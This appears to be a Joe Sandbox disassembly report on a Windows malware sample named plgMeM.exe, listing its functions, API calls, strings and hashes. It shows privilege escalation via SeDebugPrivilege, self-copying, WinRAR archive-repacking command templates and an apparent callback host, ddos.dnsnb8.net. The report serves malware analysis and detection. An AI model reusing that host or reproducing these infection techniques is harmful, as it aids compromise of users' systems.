                                                            • Instruction ID: b27128d8e01735d2a35c4e0622cfdf87214e7e315244b239a9caefce5c93dd0b
                                                            • Opcode Fuzzy Hash: d6d1b9fd39b98afb61ab155c61e965750faac2849c5e76320cd2ee390e82b9ea
                                                            • Instruction Fuzzy Hash: DC218979800308FEDB20EBA4DC58BEEBBBCAB01755F514199E502A2251D7749B88DFB0
                                                            Function 00DB1638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70stringsynchronizationthreadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            • GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\,?,00000005,00000000), ref: 00DB164F
                                                            • GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 00DB165B
                                                            • GetModuleFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,00000104), ref: 00DB166E
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 00DB16AC
                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 00DB16BD
                                                              • Part of subcall function 00DB139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB13BC
                                                              • Part of subcall function 00DB139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00DB13DA
                                                              • Part of subcall function 00DB139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00DB1448
                                                            • lstrcpy.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB16E5
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\plgMeM.exe$C:\Windows\system32$Documents and Settings
                                                            • API String ID: 123563730-3765979162
                                                            • Opcode ID: 8d75cc2944f50defe9fcbb615fd4dddeafa027cfa7a8176aa39ce32f90fffd58
                                                            • Instruction ID: 4eca2d029f4de26c0d0992807b5d7b0f41bd84c4d0f35a4d6aa4e339b98618a5
                                                            • Opcode Fuzzy Hash: 8d75cc2944f50defe9fcbb615fd4dddeafa027cfa7a8176aa39ce32f90fffd58
                                                            • Instruction Fuzzy Hash: EE11AC76540324FBCF20ABA5AD49EEA3E6DEF05361F440210F20BD12A1CA708940EBB1
                                                            Function 00DB1000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 60fileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 205 db1000-db1023 CreateFileA 206 db1092-db1096 205->206 207 db1025-db1055 GetFileSize CreateFileMappingA MapViewOfFile 205->207 208 db107b-db1085 207->208 209 db1057-db105f 207->209 212 db108d-db1091 CloseHandle 208->212 213 db1087-db108b CloseHandle 208->213 210 db1061-db106e call db17d0 209->210 211 db1074-db1075 UnmapViewOfFile 209->211 210->211 211->208 212->206 213->212
                                                            APIs
                                                            • CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB1018
                                                            • GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75A38400,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB1029
                                                            • CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00DB1038
                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB104B
                                                            • UnmapViewOfFile.KERNEL32(00000000,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB1075
                                                            • CloseHandle.KERNEL32(?,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB108B
                                                            • CloseHandle.KERNEL32(00000000,?,http://%s:%d/%s/%s,00DB10E8,?), ref: 00DB108E
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$CloseCreateHandleView$MappingSizeUnmap
                                                            • String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
                                                            • API String ID: 1223616889-3273462101
                                                            • Opcode ID: c527567b7564144187a5c6042c0930f9b5d2edfda1035cbb343a77fb342aeb78
                                                            • Instruction ID: d606a2a8711fb94b6863509374d1f280dc1bb3e3849fa5b94f505a4fba9fc182
                                                            • Opcode Fuzzy Hash: c527567b7564144187a5c6042c0930f9b5d2edfda1035cbb343a77fb342aeb78
                                                            • Instruction Fuzzy Hash: 9C015BB520435CFFE7306F609C88E6BBAACEB447A9F054629B245E2190DA705E449A70
                                                            Function 00DB2C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 376 db2c48-db2c75 memset call db1973 379 db2cb2-db2cb9 376->379 380 db2c77-db2c7f 376->380 383 db2cbb-db2cc2 VirtualFree 379->383 384 db2cc8-db2ccc 379->384 381 db2c8f-db2cac CreateThread WaitForMultipleObjects 380->381 382 db2c81-db2c8b 380->382 381->379 382->381 383->384
                                                            APIs
                                                            • memset.MSVCRT ref: 00DB2C57
                                                              • Part of subcall function 00DB1973: PathFileExistsA.SHLWAPI(00DB4E5C,00000000,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB1992
                                                              • Part of subcall function 00DB1973: CreateFileA.KERNEL32(00DB4E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00DB19BA
                                                              • Part of subcall function 00DB1973: Sleep.KERNEL32(00000064), ref: 00DB19C6
                                                              • Part of subcall function 00DB1973: wsprintfA.USER32 ref: 00DB19EC
                                                              • Part of subcall function 00DB1973: CopyFileA.KERNEL32(00DB4E5C,?,00000000), ref: 00DB1A00
                                                              • Part of subcall function 00DB1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DB1A1E
                                                              • Part of subcall function 00DB1973: GetFileSize.KERNEL32(00DB4E5C,00000000), ref: 00DB1A2C
                                                              • Part of subcall function 00DB1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00DB1A46
                                                              • Part of subcall function 00DB1973: ReadFile.KERNEL32(00DB4E5C,00DB4E60,00000000,?,00000000), ref: 00DB1A65
                                                            • CreateThread.KERNEL32(00000000,00000000,00DB2B8C,00000000,00000000,00000000), ref: 00DB2C99
                                                            • WaitForMultipleObjects.KERNEL32(00000001,00DB16BA,00000001,000000FF,?,00DB16BA,00000000), ref: 00DB2CAC
                                                            • VirtualFree.KERNEL32(019F0000,00000000,00008000,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,00DB4E5C,00DB4E60,?,00DB16BA,00000000), ref: 00DB2CC2
                                                            Strings
                                                            • C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, xrefs: 00DB2C69
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
                                                            • API String ID: 2042498389-1200723282
                                                            • Opcode ID: 0310f29b1e76af6d19689b5330c51819f4edc735261e077d4482efe31dc01b26
                                                            • Instruction ID: 28512ff5470e4c460c80ec78b03422ff8fbc3c9af1dbea79b3b77af062796940
                                                            • Opcode Fuzzy Hash: 0310f29b1e76af6d19689b5330c51819f4edc735261e077d4482efe31dc01b26
                                                            • Instruction Fuzzy Hash: 06018F72641224FED710EBA59C1AEEF7F6CEF41B60F144214B906D62C2DAA0DA04C7F4
                                                            Function 00DB14E1 Relevance: 4.6, APIs: 3, Instructions: 55COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 385 db14e1-db14fb 386 db14fd-db1510 GetModuleHandleA 385->386 387 db1541-db1547 385->387 388 db151a-db1535 VirtualQuery 386->388 389 db1512-db1518 386->389 390 db1549-db154c 387->390 391 db1573-db1574 call db1638 387->391 392 db153b 388->392 393 db1537-db1539 388->393 389->387 394 db1569-db1570 390->394 395 db154e-db1555 390->395 398 db1579-db157a ExitProcess 391->398 392->387 393->387 393->392 395->394 397 db1557-db1566 call db1af9 395->397 397->394
                                                            APIs
                                                            • GetModuleHandleA.KERNEL32(00000000), ref: 00DB1504
                                                            • VirtualQuery.KERNEL32(00DB14E1,?,0000001C), ref: 00DB1525
                                                            • ExitProcess.KERNEL32 ref: 00DB157A
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: ExitHandleModuleProcessQueryVirtual
                                                            • String ID:
                                                            • API String ID: 3946701194-0
                                                            • Opcode ID: 152ca409e62eb6677e18daf8d75970864861016a0cc07f1f3da583d395738d00
                                                            • Instruction ID: a51cb992c42d423cfb4c42e6f49ada9a10f4f3c94df5455b52ee8ef3f1606074
                                                            • Opcode Fuzzy Hash: 152ca409e62eb6677e18daf8d75970864861016a0cc07f1f3da583d395738d00
                                                            • Instruction Fuzzy Hash: 3B118E79A00314DFCB20EFA5A8A5ABD77FCEB84710B58422AF403D2251D2308941EB70
                                                            Function 00DB1915 Relevance: 4.5, APIs: 3, Instructions: 41timeCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 401 db1915-db1922 402 db1928-db192c 401->402 403 db1924-db1926 401->403 405 db194f-db1952 402->405 406 db192e-db194d memset GetFileTime 402->406 404 db196e-db1970 403->404 405->404 408 db1954-db1960 SetFileTime 405->408 407 db1966-db1968 406->407 409 db196a 407->409 410 db196c 407->410 408->407 409->410 410->404
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: FileTimememset
                                                            • String ID:
                                                            • API String ID: 176422537-0
                                                            • Opcode ID: f87428661dc8506e34b16b31bb4d0f31052256743d4a7dcf41e4dfa89db1eee6
                                                            • Instruction ID: ade5868e41790a86c3e6be3b4b710ffbec531f689572ba39f2068b17d6dea637
                                                            • Opcode Fuzzy Hash: f87428661dc8506e34b16b31bb4d0f31052256743d4a7dcf41e4dfa89db1eee6
                                                            • Instruction Fuzzy Hash: 85F04F36200349EBDB209E26DC14BEB7BACAF50761F54853AF567D11A0E730E6459FB0
                                                            Function 00DB6159 Relevance: 2.6, APIs: 2, Instructions: 59memoryCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 411 db6159-db615c 412 db615f-db6189 VirtualFree 411->412 413 db618c-db6192 412->413 414 db6198-db61b0 VirtualFree 413->414 415 db60c7-db60cf 413->415 416 db61ba-db61c8 414->416 417 db61b2-db61b4 414->417 415->413 418 db60d5-db60eb VirtualAlloc 415->418 420 db61ca-db61d7 416->420 421 db6243-db6251 416->421 417->416 422 db60ee-db60f8 418->422 423 db61dd-db61e0 420->423 424 db6253 421->424 425 db6264-db626f 421->425 436 db60fa-db60fc call db66c8 422->436 437 db60fe-db6106 422->437 423->421 427 db61e2-db61f2 423->427 428 db6255-db6258 424->428 429 db6271-db6276 425->429 431 db61f5-db61fe 427->431 428->425 432 db625a-db6262 428->432 433 db6389-db63b1 VirtualProtect 429->433 434 db627c-db6289 429->434 438 db620c-db6219 431->438 439 db6200-db6203 431->439 432->428 435 db63b7-db63ba 433->435 449 db628b 434->449 450 db6292-db6298 434->450 440 db63fc-db63ff VirtualProtect 435->440 441 db63bc-db63c2 435->441 436->437 446 db6108-db611d 437->446 447 db6155 437->447 442 db6238-db623f 438->442 444 db621b-db6228 439->444 445 db6205-db6208 439->445 455 db6400-db6416 440->455 441->441 451 db63c4 441->451 442->431 456 db6241 442->456 444->442 452 db622a-db6236 445->452 453 db620a 445->453 454 db611f-db6121 446->454 447->412 449->450 457 db62a2-db62ac 450->457 451->440 458 db63c6-db63cf 451->458 452->442 453->442 459 db6123 454->459 460 db6151-db6154 454->460 461 db6418-db641d 455->461 462 db6420-db6425 455->462 456->423 463 db62ae 457->463 464 db62b1-db62c8 457->464 465 db63d1 458->465 466 db63d4-db63d8 458->466 459->460 467 db6125-db6128 459->467 460->447 463->464 470 db62ce-db62d4 464->470 471 db6373-db6384 464->471 465->466 472 db63da 466->472 473 db63dd-db63e1 466->473 468 db612a-db612e 467->468 469 db6134-db613b 467->469 468->469 480 db6130-db6132 468->480 469->480 481 db613d-db614f 469->481 476 db62da-db62f1 470->476 477 db62d6-db62d9 470->477 471->429 472->473 478 db63e3 473->478 479 db63e7-db63fa VirtualProtect 473->479 483 db62f3-db62f9 476->483 484 db6365-db636e 476->484 477->476 478->479 479->435 479->440 480->454 481->454 485 db62fb-db630f 483->485 486 db6314-db6326 483->486 484->457 487 db6426-db64a9 485->487 488 db6328-db634a 486->488 489 db634c-db6360 486->489 497 db64ab-db64c0 487->497 498 db6519-db651c 487->498 488->484 489->487 502 db64c2 497->502 503 db6535-db6537 497->503 500 db651d-db651e 498->500 501 db6583-db6587 498->501 505 db6522-db6533 500->505 504 db6588-db658b 501->504 508 db64f8 502->508 509 db64c5-db64cd 502->509 506 db659a 503->506 507 db6539 503->507 510 db658d-db658f 504->510 511 db65a1-db65a3 504->511 505->503 515 db659b-db659d 506->515 513 db653b-db6541 507->513 514 db65b4 507->514 518 db64fa-db64fe 508->518 519 db656c-db656f 508->519 516 db64cf-db64d4 509->516 517 db6542-db6545 509->517 512 db6591-db6593 510->512 512->515 520 db6595 512->520 513->517 525 db65be-db65db 514->525 515->512 521 db659f 515->521 522 db6517-db6518 516->522 523 db64d6-db64d9 516->523 524 db654d-db6550 517->524 526 db6572 518->526 527 db6500 518->527 519->526 520->506 521->504 522->498 523->524 528 db64db-db64f5 523->528 524->525 529 db6552-db6556 524->529 535 db65dd-db65f6 525->535 531 db6573-db6576 526->531 527->505 532 db6502 527->532 528->508 533 db6578-db657a 529->533 534 db6558-db6569 529->534 531->533 532->531 536 db6504-db6513 532->536 533->535 538 db657c 533->538 534->519 537 db65f7-db6608 535->537 536->503 539 db6515 536->539 538->537 540 db657e-db657f 538->540 539->522 540->501
                                                            APIs
                                                            • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00DB60DF
                                                            • VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00DB6189
                                                            • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00DB61A5
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Virtual$Free$Alloc
                                                            • String ID:
                                                            • API String ID: 1852963964-0
                                                            • Opcode ID: 461ac9053c96997dfb3a672da4a9596319a2064ea500467e192054b0ac249f80
                                                            • Instruction ID: 67c68a117c05e7ef9bd2a4ec8601040c58e701373d02f44dbaf108364f542a5e
                                                            • Opcode Fuzzy Hash: 461ac9053c96997dfb3a672da4a9596319a2064ea500467e192054b0ac249f80
                                                            • Instruction Fuzzy Hash: 3C116031A00649CFDF318F58CC817DD77A2FF45700F6D4518DE8A5B291DA79A940CBA8

                                                            Non-executed Functions

                                                            Function 00DB119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetCurrentProcess.KERNEL32(C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,?,?,?,?,?,?,00DB13EF), ref: 00DB11AB
                                                            • OpenProcessToken.ADVAPI32(00000000,00000028,00DB13EF,?,?,?,?,?,?,00DB13EF), ref: 00DB11BB
                                                            • AdjustTokenPrivileges.ADVAPI32(00DB13EF,00000000,?,00000010,00000000,00000000), ref: 00DB11EB
                                                            • CloseHandle.KERNEL32(00DB13EF), ref: 00DB11FA
                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,00DB13EF), ref: 00DB1203
                                                            Strings
                                                            • C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, xrefs: 00DB11A5
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
                                                            • API String ID: 75692138-1200723282
                                                            • Opcode ID: d693c75b35b53c6a7fb08a7bea2b193ed2a3fc254fb14e15110959df643e771d
                                                            • Instruction ID: a873a76d7f3b4180e8208f118a13fc82d9e43f16504644cba421c6d0b2961196
                                                            • Opcode Fuzzy Hash: d693c75b35b53c6a7fb08a7bea2b193ed2a3fc254fb14e15110959df643e771d
                                                            • Instruction Fuzzy Hash: 9F01E4B5900309EFDB00EFE4CD89AAEBBB8FF04305F504569E606E2250D7719F44AB60
                                                            Function 00DB239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • strstr.MSVCRT ref: 00DB23CC
                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00DB2464
                                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 00DB2472
                                                            • CloseHandle.KERNEL32(?,00000000,00000000), ref: 00DB24A8
                                                            • memset.MSVCRT ref: 00DB24B9
                                                            • strrchr.MSVCRT ref: 00DB24C9
                                                            • wsprintfA.USER32 ref: 00DB24DE
                                                            • strrchr.MSVCRT ref: 00DB24ED
                                                            • memset.MSVCRT ref: 00DB24F2
                                                            • memset.MSVCRT ref: 00DB2505
                                                            • wsprintfA.USER32 ref: 00DB2524
                                                            • Sleep.KERNEL32(000007D0), ref: 00DB2535
                                                            • Sleep.KERNEL32(000007D0), ref: 00DB255D
                                                            • memset.MSVCRT ref: 00DB256E
                                                            • wsprintfA.USER32 ref: 00DB2585
                                                            • memset.MSVCRT ref: 00DB25A6
                                                            • wsprintfA.USER32 ref: 00DB25CA
                                                            • Sleep.KERNEL32(000007D0), ref: 00DB25D0
                                                            • Sleep.KERNEL32(000007D0,?,?), ref: 00DB25E5
                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00DB25FC
                                                            • CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00DB2611
                                                            • SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00DB2642
                                                            • WriteFile.KERNEL32(?,00000006,?,00000000), ref: 00DB265B
                                                            • SetEndOfFile.KERNEL32 ref: 00DB266D
                                                            • CloseHandle.KERNEL32(00000000), ref: 00DB2676
                                                            • RemoveDirectoryA.KERNEL32(?), ref: 00DB2681
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
                                                            • String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user~1\AppData\Local\Temp\
                                                            • API String ID: 2203340711-1252250577
                                                            • Opcode ID: 48850240094602047cc842291a7e72c054992c20015dd92ded3033627622aaf6
                                                            • Instruction ID: c17edc177fc1c33237d44efaaa1f1128dc07ea6a15c8a6c7b3782046b7f78a3e
                                                            • Opcode Fuzzy Hash: 48850240094602047cc842291a7e72c054992c20015dd92ded3033627622aaf6
                                                            • Instruction Fuzzy Hash: DE818072504344EBD710EF64DC45EAB7BACEF88744F00061AFA86D22A0D774DA499B75
                                                            Function 00DB274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • memset.MSVCRT ref: 00DB2766
                                                            • memset.MSVCRT ref: 00DB2774
                                                            • SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00DB2787
                                                            • wsprintfA.USER32 ref: 00DB27AB
                                                              • Part of subcall function 00DB185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00DB1118), ref: 00DB1867
                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1878
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1880
                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1890
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1894
                                                            • wsprintfA.USER32 ref: 00DB27C6
                                                            • CopyFileA.KERNEL32(?,00DB4C80,00000000), ref: 00DB27D4
                                                            • wsprintfA.USER32 ref: 00DB27F4
                                                              • Part of subcall function 00DB1973: PathFileExistsA.SHLWAPI(00DB4E5C,00000000,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB1992
                                                              • Part of subcall function 00DB1973: CreateFileA.KERNEL32(00DB4E5C,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00DB19BA
                                                              • Part of subcall function 00DB1973: Sleep.KERNEL32(00000064), ref: 00DB19C6
                                                              • Part of subcall function 00DB1973: wsprintfA.USER32 ref: 00DB19EC
                                                              • Part of subcall function 00DB1973: CopyFileA.KERNEL32(00DB4E5C,?,00000000), ref: 00DB1A00
                                                              • Part of subcall function 00DB1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DB1A1E
                                                              • Part of subcall function 00DB1973: GetFileSize.KERNEL32(00DB4E5C,00000000), ref: 00DB1A2C
                                                              • Part of subcall function 00DB1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00DB1A46
                                                              • Part of subcall function 00DB1973: ReadFile.KERNEL32(00DB4E5C,00DB4E60,00000000,?,00000000), ref: 00DB1A65
                                                            • DeleteFileA.KERNEL32(?,?,00DB4E54,00DB4E58), ref: 00DB281A
                                                            • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00DB4E54,00DB4E58), ref: 00DB2832
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
                                                            • String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user~1\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
                                                            • API String ID: 692489704-4282063453
                                                            • Opcode ID: 331d74f8036e8cc5a1b7cf6d3f75cb52eea52f023266917c1c8b3df4d7995d8d
                                                            • Instruction ID: e4b3485f76a7adcf086855f774e537d8972b3a4a186301b922b2cdcff3e2c4f7
                                                            • Opcode Fuzzy Hash: 331d74f8036e8cc5a1b7cf6d3f75cb52eea52f023266917c1c8b3df4d7995d8d
                                                            • Instruction Fuzzy Hash: BF2124B694031CFFDB10EBA49C89FEB776CEB14744F4005A1B656E2152E670EF488AB4
                                                            Function 00DB1581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 00DB185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00DB1118), ref: 00DB1867
                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1878
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1880
